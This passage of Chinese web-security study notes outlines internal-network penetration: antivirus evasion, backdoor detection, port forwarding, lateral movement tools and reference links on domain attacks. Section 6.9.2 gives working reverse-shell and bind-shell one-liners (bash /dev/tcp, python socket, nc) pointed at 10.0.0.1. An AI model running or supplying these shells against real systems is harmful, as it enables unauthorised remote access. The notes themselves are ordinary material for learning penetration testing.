- 更改云查杀服务器域名解析地址
- 断网
- 利用散列碰撞绕过云端“白名单”
4. 攻击主防杀毒软件
- 更改系统时间
- 窗口消息攻击
- 主动发送IRP操纵主防驱动
5. 利用证书信任
- 盗取利用合法证书
- 利用散列碰撞伪造证书
- 利用合法程序 DLL劫持问题的“白加黑”
6.8.3 检测技术
- 基于自启动信息的检测
- 基于进程信息的检测
- 基于数据传输的检测
- Rootkit/Bootkit的检测
6.8.4 后门分析
- 动态分析
- 静态分析
- 反病毒引擎扫描
- 文件格式识别
- 文件加壳识别及脱壳
- 明文字符串查找
- 链接库及导入/导出函数分析
6.9 综合技巧
6.9.1 端口转发
-
windows
- lcx netsh
-
linux
- portmap iptables
-
socket代理
- Win: xsocks Linux: proxychains
-
基于http的转发与socket代理(低权限下的渗透)
- 端口转发: tunna
- socks代理: reGeorg
-
ssh通道
- 端口转发
- socks
6.9.2 获取shell
- 常规shell反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
- 突破防火墙的imcp_shell反弹
- 正向shell
nc -e /bin/sh -lp 1234
nc.exe -e cmd.exe -lp 1234
6.9.3 内网文件传输
1. windows下文件传输
- powershell
- vbs脚本文件
- bitsadmin
- 文件共享
- 使用telnet接收数据
- hta
2. linux下文件传输
- python
- wget
- tar + ssh
- 利用dns传输数据
3. 文件编译
- powershell将exe转为txt,再txt转为exe
6.9.4 远程连接 && 执行程序
- at&schtasks
- psexec
- wmic
- wmiexec.vbs
- smbexec
- powershell remoting
- SC创建服务执行
- schtasks
- SMB+MOF || DLL Hijacks
- PTH + compmgmt.msc
6.10 参考链接
6.10.1 Windows
- Windows内网渗透提权
- 文件寄生 NTFS文件流实际应用
- Windows中常见后门持久化方法总结
- LOLBAS
- 渗透技巧——Windows单条日志的删除
- windows取证 文件执行记录的获取和清除
- Getting DNS Client Cached Entries with CIM/WMI
- Windows单机Persistence
6.10.2 域渗透
- 绕过域账户登录失败次数的限制
- 域渗透总结
- got domain admin on internal network
- Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques <[http://download.microsoft/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf](http://download.microsoft/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques_English.pdf)>`_
- 域渗透学习笔记
- QOMPLX Knowledge: Fundamentals of Active Directory Trust Relationships
- Kerberos的黄金票据详解
- DCShadow explained: A technical deep dive into the latest AD attack technique
- Active Directory Security
- Kerberos AD Attacks Kerberoasting
- Kerberos之域内委派攻击
6.10.3 RedTeam
- RedTeamManual
6.10.4 内网
- 内网安全检查
- 我所知道的内网渗透
- 从零开始内网渗透学习
- 渗透技巧 从Github下载安装文件
- An introduction to privileged file operation abuse on Windows
- 脚本维权tips
6.10.5 Cobalt Strike
- Cobalt Strike 系列笔记
- 渗透利器Cobalt Strike 第2篇 APT级的全面免杀与企业纵深防御体系的对抗
更多推荐
【Web安全笔记】之【6.0 内网渗透】
发布评论